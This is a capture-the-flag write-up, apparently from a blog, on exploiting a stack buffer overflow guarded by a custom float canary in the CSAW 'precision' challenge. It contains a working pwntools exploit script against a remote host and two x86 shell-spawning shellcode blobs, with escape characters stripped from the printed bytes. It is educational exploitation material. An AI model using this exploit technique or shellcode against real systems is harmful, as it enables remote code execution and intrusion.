This was the first challenge I decided to take a crack at for this year’s CSAW CTF. After an initial glance in IDA Pro, it appears this challenge is pretty straight forward.

It appears this challenge contains a classic buffer overflow. The only noticeable difference is that it checks the value of the initialized variable prior to returning from the function. If it has been changed then the application calls exit directly. As this variable is located between the read buffer and the return pointer on the stack, it acts like a stack canary. Looking at the pseudocode we can see the buffer and canary are 0x80 bytes apart. The challenge writers were also kind enough to print out the current address of the input buffer so we don’t have to worry about ASLR. I quickly threw together the following POC to see if the solution was just that easy.

[sourcecode language=”python”]

from pwn import *
import struct

buf = ""
buf += "x31xc0x89xc2x50x68x6ex2fx73x68x68x2fx2fx62x69x89"
buf += "xe3x89xc1xb0x0bx52x51x53x89xe1xcdx80";

sc = ‘x90’ * 0x10
sc += buf

#Acts like a canary
canary = 64.33333

#Connect
conn = remote(‘54.173.98.115’,1259)

recv = conn.recvline().replace("Buff: ", "").strip()
print "Address: " + recv
addr = int( recv, 16 )

#Send data
data = "A"*0x80
data += struct.pack(‘d’, canary)
data += "B"*12
data += struct.pack(‘I’, addr + 0x9f)
data += sc
data += "x00"
conn.sendline(data);

#Interact with shell
conn.interactive()

#Send data
conn.close()

[/sourcecode]

To my dismay, my POC did not work. I tried a few more shellcodes just to make sure it wasn’t bad code but to no avail. At this point, I decided to setup the binary locally to try and determine what was going wrong. Once I got the application listening using socat,

[sourcecode language=”bash”] socat -v tcp-l:1234,fork exec:’./precision’ [/sourcecode]

I noticed that all of my shellcode was not making into the buffer. After more time than I wish to admit, I finally determined that the  _isoc99_scanf   function will stop reading input after it reaches more characters than just a null byte. One of these terminating characters just happens to be 0xb, which also happens to be the syscall number for execv and is present in just about every shellcode I generated or ran across for spawning a shell. I ended up using metasploit to generate the following alphanumerically encoded shellcode to bypass this restriction.

[sourcecode 1=”language="""” language=”python”]

buf = ""
buf += "x89xe1xdbxd1xd9x71xf4x5fx57x59x49x49x49"
buf += "x49x49x49x49x49x49x49x43x43x43x43x43x43"
buf += "x37x51x5ax6ax41x58x50x30x41x30x41x6bx41"
buf += "x41x51x32x41x42x32x42x42x30x42x42x41x42"
buf += "x58x50x38x41x42x75x4ax49x70x6ax74x4bx43"
buf += "x68x4cx59x42x72x30x66x61x78x74x6dx43x53"
buf += "x4dx59x49x77x50x68x56x4fx52x53x75x38x33"
buf += "x30x35x38x76x4fx32x42x30x69x32x4ex6dx59"
buf += "x7ax43x50x52x59x78x64x48x65x50x33x30x77"
buf += "x70x74x6fx45x32x65x39x72x4ex36x4fx33x43"
buf += "x51x78x63x30x71x47x66x33x6ex69x79x71x6a"
buf += "x6dx4fx70x41x41"

[/sourcecode]

Luckily that did the trick.

flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}